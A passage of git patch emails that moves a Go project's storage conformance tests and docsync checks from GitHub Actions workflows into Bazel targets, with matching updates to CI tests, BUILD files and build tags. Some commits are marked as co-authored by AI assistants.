]; then n=4 @@ -637,7 +647,7 @@ jobs: fi active="$(gh run list -R "$POOL_REPO" --workflow "$POOL_WORKFLOW" --limit 50 \ - --json status --jq '[.[] | select(.status != "completed")] | length' 2>/dev/null)" + --json status --jq '[.[] | select(.status != "completed")] | length' 2>/dev/null)" || true case "$active" in '' | *[!0-9]*) echo "::warning title=rbe-west pre-warm::could not read $POOL_REPO/$POOL_WORKFLOW run status; skipping dispatch" diff --git a/scripts/bazel_rbe_prewarm_test.go b/scripts/bazel_rbe_prewarm_test.go index 96a278d7d..c9c547483 100644 --- a/scripts/bazel_rbe_prewarm_test.go +++ b/scripts/bazel_rbe_prewarm_test.go @@ -1,12 +1,14 @@ package scripts_test import ( + "context" "os" "os/exec" "path/filepath" "regexp" "strings" "testing" + "time" ) // This file exists alongside ci_workflow_test.go's broader structural checks @@ -494,7 +496,14 @@ exit 127 if err := os.WriteFile(callLog, nil, 0o600); err != nil { t.Fatal(err) } - cmd := exec.Command("bash", scriptPath) + // Actions runs a run: step with no shell: as "bash -e {0}", so the + // script is run the same way here: a command that fails outside an + // if/||/&& ends the step before any warning below it can print. + // The deadline bounds a regression in the dispatch loop's clamp, + // which would otherwise dispatch (and log) without end. + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, "bash", "-e", scriptPath) // fakeGHDir first so it shadows any real gh on PATH; the rest of the // inherited PATH stays so the fake gh's own "#!/usr/bin/env bash" // shebang can still find env and bash. @@ -577,6 +586,22 @@ exit 127 } }) + t.Run("an over-long RBE_PREWARM_WORKERS is clamped to 4", func(t *testing.T) { + // 20 digits overflows the shell's integer compare; the clamp must + // not depend on it. + r := run(t, map[string]string{ + "GH_TOKEN": "tok", + "RBE_PREWARM_WORKERS": "99999999999999999999", + "FAKE_GH_RUN_LIST_OUTPUT": "1", + }) + if r.code != 0 { + t.Errorf("exit code = %d, want 0\nstdout: %s", r.code, r.stdout) + } + if got := strings.Count(r.calls, "workflow run"); got != 3 { + t.Errorf("gh workflow run calls = %d, want 3 (cap 4, 1 active)\nstdout: %s", got, r.stdout) + } + }) + t.Run("gh workflow run failure warns but still exits 0", func(t *testing.T) { r := run(t, map[string]string{ "GH_TOKEN": "tok", From 8761d2c40ed4e4ade8ab6a0513bbb008bf9304b7 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 22:42:25 +0000 Subject: [PATCH 123/325] ci(bazel): run the conformance e2e tier under Bazel; retire conformance.yml and the docs-mintlify docsync job (#7321) conformance.yml ran two tiers on a GitHub runner. Tier 1 (the embedded-Dolt TestConformance) already runs as the embedded lane's embeddeddolt_conformance_{core,audit}_test. Tier 2, the real-binary CLI corpus (`go test -tags 'gms_pure_go e2e' ./test/conformance`), had only a go_library under Bazel. Its two test files now build under `e2e || integration`, so gazelle generates //test/conformance:conformance_test (integration-only, against the injected non-race bd_for_tests) and --config=integration runs it remotely in bazel-integration, which pr.yml's gate requires. PR Core's go test builds neither tag, so the --config=ci equivalence check is unchanged; scripts/conformance.sh keeps working with -tags e2e as the local go test entrypoint. With both tiers covered, conformance.yml and main.yml's warm-up compiles for it are removed. docs-mintlify.yml drops its docsync job (`go test ./test/docsync`, run by bazel-test as //test/docsync:docsync_test on every PR) and keeps only Mintlify's broken-link check, which needs the network (npx mint) and the base branch's history; its path filter narrows to what that check reads. Refs: ga-96smfk.17 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/conformance.yml | 108 -------------------------- .github/workflows/docs-mintlify.yml | 64 ++------------- .github/workflows/main.yml | 12 +-- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 17 +++- scripts/ci_f7c_advisory_test.go | 45 +---------- scripts/ci_workflow_test.go | 17 ++-- scripts/conformance.sh | 7 +- scripts/conformance_script_test.go | 43 +++++++--- test/conformance/BUILD.bazel | 24 +++++- test/conformance/e2e_test.go | 5 +- test/conformance/profiles.go | 3 +- test/conformance/roundtrip_test.go | 5 +- 12 files changed, 104 insertions(+), 246 deletions(-) delete mode 100644 .github/workflows/conformance.yml diff --git a/.github/workflows/conformance.yml b/.github/workflows/conformance.yml deleted file mode 100644 index e78244381..000000000 --- a/.github/workflows/conformance.yml +++ /dev/null @@ -1,108 +0,0 @@ -name: Conformance - -# Runs the same two-tier storage conformance suite developers run locally: -# the in-process store corpus and the real-binary CLI harness. - -on: - pull_request: - branches: [ main, 'release/**', 'hotfix/**' ] - # "Upgrade-relevant code" allowlist (spec-f7.md §2.4): any non-test Go - # change, build input, or this workflow's own inputs. Kept byte-for-byte - # identical (modulo each workflow's own file/script entries) across - # conformance.yml, migration-test.yml and cross-version-smoke.yml, and - # pinned by TestAdvisoryWorkflowPathFilters. - paths: - - '**.go' - - '!**_test.go' - - 'go.mod' - - 'go.sum' - - 'Makefile' - - '.buildflags' - - '.github/workflows/conformance.yml' - - 'scripts/conformance.sh' - - 'test/conformance/**' - - 'internal/storage/embeddeddolt/conformance_test.go' - # F7c review fix S4: TestMain (the fixture that builds the - # pristine embedded-Dolt databases conformance_test.go and every - # other test in this package reuse) lives here, not in - # conformance_test.go itself; a PR editing only the fixture was - # previously excluded by '!**_test.go' with nothing to re-include it. - - 'internal/storage/embeddeddolt/test_fixture_test.go' - - 'backend/conformance/**' - push: - branches: [ main ] - paths: - - '**.go' - - '!**_test.go' - - 'go.mod' - - 'go.sum' - - 'Makefile' - - '.buildflags' - - '.github/workflows/conformance.yml' - - 'scripts/conformance.sh' - - 'test/conformance/**' - - 'internal/storage/embeddeddolt/conformance_test.go' - # F7c review fix S4: TestMain (the fixture that builds the - # pristine embedded-Dolt databases conformance_test.go and every - # other test in this package reuse) lives here, not in - # conformance_test.go itself; a PR editing only the fixture was - # previously excluded by '!**_test.go' with nothing to re-include it. - - 'internal/storage/embeddeddolt/test_fixture_test.go' - - 'backend/conformance/**' - merge_group: - -concurrency: - group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} - cancel-in-progress: true - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - -jobs: - conformance: - name: Storage backend conformance (embedded Dolt oracle) - timeout-minutes: 45 - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - # F7c review fix N1: fail-closed. setup-go's own implicit cache - # must stay off on Blacksmith (it would try to use a GitHub-hosted - # cache entry Blacksmith can't see, and only the self-keyed - # blacksmith-sg-v1- restore below should feed this job there); the - # prior `!= 'self-hosted'` form fails OPEN (caching turns on) if - # runner.environment is ever empty/unknown for some future runner - # class, instead of staying off until proven github-hosted. - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Run conformance (embedded Dolt oracle) - run: ./scripts/conformance.sh diff --git a/.github/workflows/docs-mintlify.yml b/.github/workflows/docs-mintlify.yml index 6c4d7d953..171174ee0 100644 --- a/.github/workflows/docs-mintlify.yml +++ b/.github/workflows/docs-mintlify.yml @@ -3,26 +3,15 @@ name: Docs (Mintlify) checks on: pull_request: types: [opened, synchronize, reopened, ready_for_review] + # The Mintlify site and the check itself. The docsync guard (docs nav, + # links and agent-instruction routing over docs/, engdocs/ and the root + # markdown) is //test/docsync:docsync_test, which bazel.yml's --config=ci + # lane runs on every PR; this workflow keeps only Mintlify's own + # broken-link check, which needs the network (npx mint) and the base + # branch's history. paths: - # The docsync guard also validates engdocs/** and the curated root - # markdown files (rootDocFiles in test/docsync/docsync_test.go) — keep - # this filter in sync with that list, or a docs-breaking PR merges - # green and turns main red at the full test run. - 'docs/**' - - 'engdocs/**' - - 'test/docsync/**' - 'mint.sh' - - 'README.md' - - 'AGENTS.md' - - 'AGENT_INSTRUCTIONS.md' - - 'CONTRIBUTING.md' - - 'CLAUDE.md' - - 'RELEASING.md' - - 'PR_MAINTAINER_GUIDELINES.md' - - 'ROADMAP.md' - - '**/AGENTS.md' - - '**/CLAUDE.md' - - '.github/copilot-instructions.md' - '.github/scripts/docs-render-check.sh' - '.github/workflows/docs-mintlify.yml' @@ -34,47 +23,6 @@ concurrency: cancel-in-progress: true jobs: - docsync: - name: Docs nav/link sync (docsync guard) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 10 - if: github.event.pull_request.draft == false - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Run docsync guard - run: go test -tags=gms_pure_go ./test/docsync - broken-links: name: Mintlify broken-links (baseline-aware) runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index b9ff6ec52..c0b5cff73 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -1081,9 +1081,9 @@ jobs: echo "Help text first line is correct" # F7c: Blacksmith cannot see GitHub-hosted cache entries, so the advisory - # workflows that moved onto a same-repo-PR Blacksmith runner (Conformance, - # Regression's PR run, Migration Test Harness, Cross-Version Smoke, Docs - # docsync, Proxied Local) need a Blacksmith-side writer for their Go build + # workflows that moved onto a same-repo-PR Blacksmith runner (Regression's + # PR run, Migration Test Harness, Cross-Version Smoke, Proxied Local) need a + # Blacksmith-side writer for their Go build # cache. This job is push-to-main only (always trusted), so it is the ONLY # writer: it always restores whatever is available, unconditionally re-runs # every warm-up command (not gated on a cache hit), and then always saves @@ -1166,12 +1166,6 @@ jobs: - name: Compile regression tests run: go test -c -tags regression,gms_pure_go ./tests/regression - - name: Compile embedded Dolt conformance tests - run: go test -c -tags gms_pure_go ./internal/storage/embeddeddolt - - - name: Compile e2e conformance tests - run: go test -c -tags 'gms_pure_go e2e' ./test/conformance - # Always save (even if a warm-up step above failed) under a fresh, # commit-specific key: the content is still a valid, newer GOCACHE/ # GOMODCACHE snapshot than whatever was restored, and `cache/save` is a diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 72b3c0d01..c31517132 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1152,10 +1152,19 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - Verified on a real remote run before step 2 (2026-10-01): proxied 164 top-level tests over 15 shards, 0 skipped; server storage 1246 + 1 conformance, 10 skipped (none all-skipped); both checkers pass. -- Not changed: `conformance.yml`'s Tier 1 (`scripts/conformance.sh`) runs the - embedded-Dolt `TestConformance` again (non-race, unsharded), duplicating - `test-embedded-conformance` and the Bazel lane. It is not part of either - required gate; retiring it is a separate decision. +- `conformance.yml` is retired. Its Tier 1 (the embedded-Dolt + `TestConformance`) duplicated `test-embedded-conformance` and the + embedded lane's `embeddeddolt_conformance_{core,audit}_test`; its Tier 2 + (the real-binary CLI corpus, `go test -tags 'gms_pure_go e2e' + ./test/conformance`) is `//test/conformance:conformance_test` against the + injected non-race `bd_for_tests`. Its files build under `e2e || + integration`, so it is `integration-only` and `--config=integration` runs + it in `bazel-integration`, which `pr.yml`'s gate requires (PR Core's `go + test` builds neither tag). Neither tier was part of a required gate + before. `scripts/conformance.sh` stays as the local `go test` entrypoint. + `docs-mintlify.yml` likewise drops its docsync job (`go test + ./test/docsync`, which `bazel-test` runs as `//test/docsync:docsync_test`) + and keeps only Mintlify's network-bound broken-link check. ### F7a: Same-Repo Blacksmith Moves and Job Folds diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 8f6c8cc95..52286f66d 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -27,11 +27,12 @@ import ( // because it now names a Blacksmith label, and the Blacksmith-side setup-go // seed in main.yml actually exists for the jobs that depend on it. -// advisoryPathFilteredWorkflows are the three workflows that share the +// advisoryPathFilteredWorkflows are the workflows that share the // "upgrade-relevant code" allowlist verbatim, save for each one's own -// workflow-file and script entries (spec-f7.md §2.4). +// workflow-file and script entries (spec-f7.md §2.4). conformance.yml was +// the third until its tiers moved to Bazel (embeddeddolt_conformance_*, +// //test/conformance:conformance_test). var advisoryPathFilteredWorkflows = []string{ - "conformance.yml", "migration-test.yml", "cross-version-smoke.yml", } @@ -51,24 +52,6 @@ var advisoryPathFilterBase = []string{ // advisoryPathFilterOwnEntries is each workflow's own file/script additions, // appended after advisoryPathFilterBase. var advisoryPathFilterOwnEntries = map[string][]string{ - "conformance.yml": { - ".github/workflows/conformance.yml", - "scripts/conformance.sh", - "test/conformance/**", - // F7c review fix (S3): conformance.sh's own comments name this file - // as the Tier-1 embedded-Dolt oracle test it runs under - // BEADS_TEST_EMBEDDED_DOLT=1; it was previously excluded from the - // filter by the shared base's `!**_test.go` negation. - "internal/storage/embeddeddolt/conformance_test.go", - // F7c review fix (S4): TestMain for the whole embeddeddolt package - // (the fixture conformance_test.go and every sibling test reuse) - // lives in test_fixture_test.go, not conformance_test.go; it was - // excluded by the same `!**_test.go` negation with nothing to - // re-include it until now. - "internal/storage/embeddeddolt/test_fixture_test.go", - // Future-proofing: mirrors the existing test/conformance/** re-include. - "backend/conformance/**", - }, "migration-test.yml": { ".github/workflows/migration-test.yml", "scripts/migration-test/**", @@ -119,19 +102,6 @@ func readPushPaths(t *testing.T, file string) []string { return parsed.On.Push.Paths } -// TestConformancePushPathsMatchPullRequestPaths pins that conformance.yml's -// push.paths and pull_request.paths stay byte-for-byte identical, in order -// (F7c review fix S1/S3): a change that updates one list but not the other -// would silently create a gap where main's push run and a PR's run disagree -// about what counts as "upgrade-relevant code". -func TestConformancePushPathsMatchPullRequestPaths(t *testing.T) { - pr := readPullRequestPaths(t, "conformance.yml") - push := readPushPaths(t, "conformance.yml") - if !equalStrings(pr, push) { - t.Errorf("conformance.yml pull_request.paths = %v, push.paths = %v; want identical", pr, push) - } -} - // TestAdvisoryWorkflowPathFiltersAreIdentical pins that the shared base of // the "upgrade-relevant code" allowlist is byte-for-byte identical, in the // same order, across all three workflows it applies to. GitHub Actions has no @@ -719,7 +689,6 @@ func TestCrossVersionSmokeChunksEveryResolvedVersion(t *testing.T) { // blacksmithAdvisoryWorkflows are every workflow file F7c moved a job onto a // same-repo-PR (or push-only, for main.yml's seed) Blacksmith runner. var blacksmithAdvisoryWorkflows = []string{ - "conformance.yml", "regression.yml", "migration-test.yml", "cross-version-smoke.yml", @@ -777,12 +746,10 @@ var advisoryBlacksmithRunnerJobs = []struct { blacksmithLabel string fallback string }{ - {"conformance.yml", "conformance", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"regression.yml", "regression", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"migration-test.yml", "historical-upgrades", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-24.04"}, {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, - {"docs-mintlify.yml", "docsync", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"docs-mintlify.yml", "broken-links", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"proxied-local-smoke.yml", "managed-local-smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, } @@ -850,11 +817,9 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { // self-defined `blacksmith-sg-v1-` setup-go cache main.yml's // blacksmith-setup-go-cache job seeds (B2, F7c implementation report). var blacksmithSetupGoCacheConsumers = map[string][]string{ - "conformance.yml": {"conformance"}, "regression.yml": {"regression"}, "migration-test.yml": {"historical-upgrades"}, "cross-version-smoke.yml": {"smoke"}, - "docs-mintlify.yml": {"docsync"}, "proxied-local-smoke.yml": {"managed-local-smoke"}, } @@ -920,8 +885,6 @@ func TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers(t *testing.T) { wantWarmups := []string{ "make build", "go test -c -tags regression,gms_pure_go ./tests/regression", - "go test -c -tags gms_pure_go ./internal/storage/embeddeddolt", - "go test -c -tags 'gms_pure_go e2e' ./test/conformance", } for _, want := range wantWarmups { found := false diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index a812b12db..3e6fd4bd9 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -110,7 +110,7 @@ func TestPullRequestWorkflowsTriggerOnHotfixBranches(t *testing.T) { } root := sourceRepoRoot(t) for _, name := range []string{ - "pr.yml", prRiskWorkflowName, "conformance.yml", "cross-version-smoke.yml", "regression.yml", + "pr.yml", prRiskWorkflowName, "cross-version-smoke.yml", "regression.yml", } { t.Run(name, func(t *testing.T) { var doc triggers @@ -2715,7 +2715,7 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that -// compile Go: conformance.yml, regression.yml, migration-test.yml, +// compile Go: regression.yml, migration-test.yml, // cross-version-smoke.yml, proxied-local-smoke.yml). F7a independently // defined the same const; both are now served by the single shared // sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. migration-test.yml's @@ -3055,15 +3055,14 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "test-nix": sameRepoBlacksmith4vcpu, }, bazelWorkflowName: {bazelRBEJobName: wantRBERunsOn}, - // F7c: advisory workflows. Each compiles Go (or, for docsync/ - // broken-links, is cheap enough to size at 2 vCPU per spec-f7.md - // §2.2) and moves to Blacksmith for same-repo PRs/merge_group only; - // forks, Dependabot and push stay on ubuntu-latest. - "conformance.yml": {"conformance": sameRepoBlacksmith4vcpu}, + // F7c: advisory workflows. Each compiles Go (or, for broken-links, + // is cheap enough to size at 2 vCPU per spec-f7.md §2.2) and moves + // to Blacksmith for same-repo PRs/merge_group only; forks, + // Dependabot and push stay on ubuntu-latest. "regression.yml": {"regression": sameRepoBlacksmith4vcpu}, "migration-test.yml": {"historical-upgrades": sameRepoBlacksmith4vcpuNoble}, "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, - "docs-mintlify.yml": {"docsync": sameRepoBlacksmith2vcpu, "broken-links": sameRepoBlacksmith2vcpu}, + "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, "proxied-local-smoke.yml": {"managed-local-smoke": sameRepoBlacksmith4vcpu}, // main.yml's seeder job (B2, F7c implementation report) is the one // Blacksmith job that is NOT gated by the same-repo-PR expression: it @@ -3128,7 +3127,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", - "conformance.yml", "regression.yml", "migration-test.yml", + "regression.yml", "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", "proxied-local-smoke.yml", } { workflow := readCIWorkflow(t, file) diff --git a/scripts/conformance.sh b/scripts/conformance.sh index d3e937b04..cbe5b8470 100755 --- a/scripts/conformance.sh +++ b/scripts/conformance.sh @@ -1,11 +1,16 @@ #!/usr/bin/env bash # -# Single conformance entrypoint. CI runs this verbatim; run it locally the same way: +# Local conformance entrypoint, under plain go test: # # ./scripts/conformance.sh # # Two tiers exercise the storage conformance contract: the in-process storage # corpus against the embedded-Dolt oracle, then the real-binary CLI corpus. +# CI runs the same two tiers as Bazel targets, remotely: +# +# bazel test --config=embedded //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test \ +# //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test +# bazel test --config=integration //test/conformance:conformance_test # set -euo pipefail cd "$(dirname "$0")/.." diff --git a/scripts/conformance_script_test.go b/scripts/conformance_script_test.go index 78a567a64..19dbf6ea7 100644 --- a/scripts/conformance_script_test.go +++ b/scripts/conformance_script_test.go @@ -62,19 +62,38 @@ func conformanceExitCode(err error) int { return -1 } -func TestConformanceWorkflowHasOuterTimeoutBudget(t *testing.T) { - path := filepath.Join(sourceRepoRoot(t), ".github", "workflows", "conformance.yml") - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) +// The conformance tiers CI runs are Bazel targets, not this script: Tier 1 +// is the embedded lane's embeddeddolt_conformance_{core,audit}_test +// (TestBazelEmbeddedJobMirrorsEmbeddedTier pins their flags), Tier 2 the +// integration lane's //test/conformance:conformance_test, pinned here to the +// script's tier: both harness files, built under the e2e or integration tag, +// against the injected non-race bd. conformance.yml, which ran the script on +// a GitHub runner, is gone. +func TestConformanceE2ETierRunsUnderBazel(t *testing.T) { + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, "test/conformance/BUILD.bazel"), "conformance_test") + if rule == "" { + t.Fatal("test/conformance/BUILD.bazel has no conformance_test") } - text := strings.ReplaceAll(string(data), "\r\n", "\n") - want := " conformance:\n" + - " name: Storage backend conformance (embedded Dolt oracle)\n" + - " timeout-minutes: 45\n" + - " runs-on: " + sameRepoBlacksmith4vcpu + "\n" - if !strings.Contains(text, want) { - t.Fatalf("conformance job does not declare the maintained 45-minute outer budget:\n%s", text) + for _, want := range []string{ + `"e2e_test.go",`, + `"roundtrip_test.go",`, + `data = ["//cmd/bd:bd_for_tests"],`, + `env = {"BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)"},`, + `tags = ["integration-only"],`, + } { + if !strings.Contains(rule, want) { + t.Errorf("//test/conformance:conformance_test lacks %q:\n%s", want, rule) + } + } + for _, file := range []string{"e2e_test.go", "roundtrip_test.go"} { + src := readPolicyFile(t, root, "test/conformance/"+file) + if !strings.HasPrefix(src, "//go:build e2e || integration\n") { + t.Errorf("test/conformance/%s must build under e2e (scripts/conformance.sh) and integration (the Bazel lane)", file) + } + } + if _, err := os.Stat(filepath.Join(root, ".github", "workflows", "conformance.yml")); err == nil { + t.Error(".github/workflows/conformance.yml is back; its tiers run under Bazel") } } diff --git a/test/conformance/BUILD.bazel b/test/conformance/BUILD.bazel index eebe95038..4758a9c00 100644 --- a/test/conformance/BUILD.bazel +++ b/test/conformance/BUILD.bazel @@ -1,4 +1,4 @@ -load("@rules_go//go:def.bzl", "go_library") +load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "conformance", @@ -7,6 +7,28 @@ go_library( visibility = ["//visibility:public"], ) +# The real-binary CLI tier of the storage conformance suite (formerly +# conformance.yml's Tier 2, `go test -tags 'gms_pure_go e2e' ./test/conformance`): +# bd init and the CLI corpus against the injected non-race bd_for_tests, as +# that tier's freshly built gms_pure_go bd. Its files build under the e2e or +# the integration tag, so --config=integration's lane runs it. +# +# Tags: +# integration-only: outside --config=integration rules_go drops both test +# files and the target would run zero tests. +go_test( + name = "conformance_test", + srcs = [ + "e2e_test.go", + "roundtrip_test.go", + ], + data = ["//cmd/bd:bd_for_tests"], + embed = [":conformance"], + env = {"BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)"}, + tags = ["integration-only"], + deps = ["//internal/testutil/bazeltest"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/test/conformance/e2e_test.go b/test/conformance/e2e_test.go index 42a0db008..dac3549d9 100644 --- a/test/conformance/e2e_test.go +++ b/test/conformance/e2e_test.go @@ -1,4 +1,7 @@ -//go:build e2e +//go:build e2e || integration + +// Built under e2e (scripts/conformance.sh) or integration (Bazel's +// --config=integration lane, //test/conformance:conformance_test). package conformance diff --git a/test/conformance/profiles.go b/test/conformance/profiles.go index 0ca3b320d..da1d671cf 100644 --- a/test/conformance/profiles.go +++ b/test/conformance/profiles.go @@ -7,7 +7,8 @@ // One declarative registry (Profiles) describes how to create and tear down an // isolated workspace for each backend. Adding a backend is one Profiles entry; the // runner and scripts/conformance.sh pick it up automatically. The suite is behind -// the `e2e` build tag because it shells out to a freshly built bd. +// the `e2e` (or `integration`) build tag because it shells out to a +// freshly built bd. // // # Stability // diff --git a/test/conformance/roundtrip_test.go b/test/conformance/roundtrip_test.go index 665c94a01..881f9493e 100644 --- a/test/conformance/roundtrip_test.go +++ b/test/conformance/roundtrip_test.go @@ -1,4 +1,7 @@ -//go:build e2e +//go:build e2e || integration + +// Built under e2e (scripts/conformance.sh) or integration (Bazel's +// --config=integration lane, //test/conformance:conformance_test). package conformance From 5cd171a7c0d87ddc9514c07b5e43a8944dc98b4f Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 22:45:49 +0000 Subject: [PATCH 124/325] test: pin that a gate on a parent hides existing and later-born children from bd ready (#6604) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * wy-raudbw: pin that a gate on a parent hides existing and later-born children from bd ready Embedded-dolt test: epic + two children all ready; gate on the epic hides all three; a child created after the gate is born hidden; resolving the gate frees all four. Pins the read-time cascade (blocked-consistency parent-child leg) that operator tooling downstream relies on. Co-Authored-By: Claude Fable 5.1 * ci: register TestEmbeddedGateInheritsDownParentChain with Bazel and the embedded shards Maintainer fixup for adopt-pr #6604. The PR adds a new embedded test file, cmd/bd/gate_inherit_embedded_test.go. Its merge-base (71c4cd08b9) predates two checks on main that every new cmd/bd embedded test has to satisfy: - cmd/bd/BUILD.bazel: bd_test's srcs list every untagged cmd/bd test file. Without the row, Bazel never compiles or runs the test, and bazel.yml's "BUILD files in sync" step in the required test job fails. The row was added by `bazel run //:gazelle`, which changed no other file. - .github/scripts/embedded-cmd-test-shards.txt: the Bazel-only 50-shard block must name every TestEmbedded* test exactly once, or TestCmdEmbeddedShardManifestGeneratorNotStale fails `go test ./scripts/`. The entry was added by `gen_embedded_cmd_shard_manifest.py 50 --weights=duration --write`, which is incremental: it placed the test on shard 16 and moved no existing assignment. The PR's own file is unchanged. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * test: match bd ready rows by exact ID in the gate-inherit pin Maintainer fixup for adopt-pr #6604, review iteration 1. TestEmbeddedGateInheritsDownParentChain decided whether an issue was in `bd ready` by looking for its title anywhere in the pretty output. The epic's two "should be ready" checks (before gate, after resolve) were vacuous: every ready child of an epic carries a "← " annotation, and buildParentEpicMap fetches that parent on its own, so the children's rows satisfied "Inherit epic" with no epic row in the list. The review suggested matching epic.ID instead. That is vacuous too: child IDs are hierarchical (.N, from GetNextChildIDTx), so the epic's ID 